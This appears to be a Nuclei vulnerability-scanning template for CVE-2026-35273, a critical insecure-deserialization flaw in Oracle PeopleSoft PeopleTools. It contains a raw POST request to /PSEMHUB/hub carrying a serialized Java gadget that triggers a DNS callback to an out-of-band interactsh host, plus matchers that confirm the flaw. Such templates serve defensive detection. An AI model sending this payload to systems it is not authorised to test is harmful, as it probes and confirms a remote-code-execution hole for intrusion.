id: CVE-2026-35273

info:
  name: "Oracle - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Updates
    Environment Management). Supported versions that are affected are 8.61 and 8.62.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-35273&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=oracle&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-35273
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2026,oracle,peoplesoft,deserialization,rce,kev,oast,vkev
http:
  - raw:
      - |
        POST /PSEMHUB/hub HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        OPERATION={{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'rO0ABX')"
          - "contains(interactsh_protocol, 'dns')"
        condition: and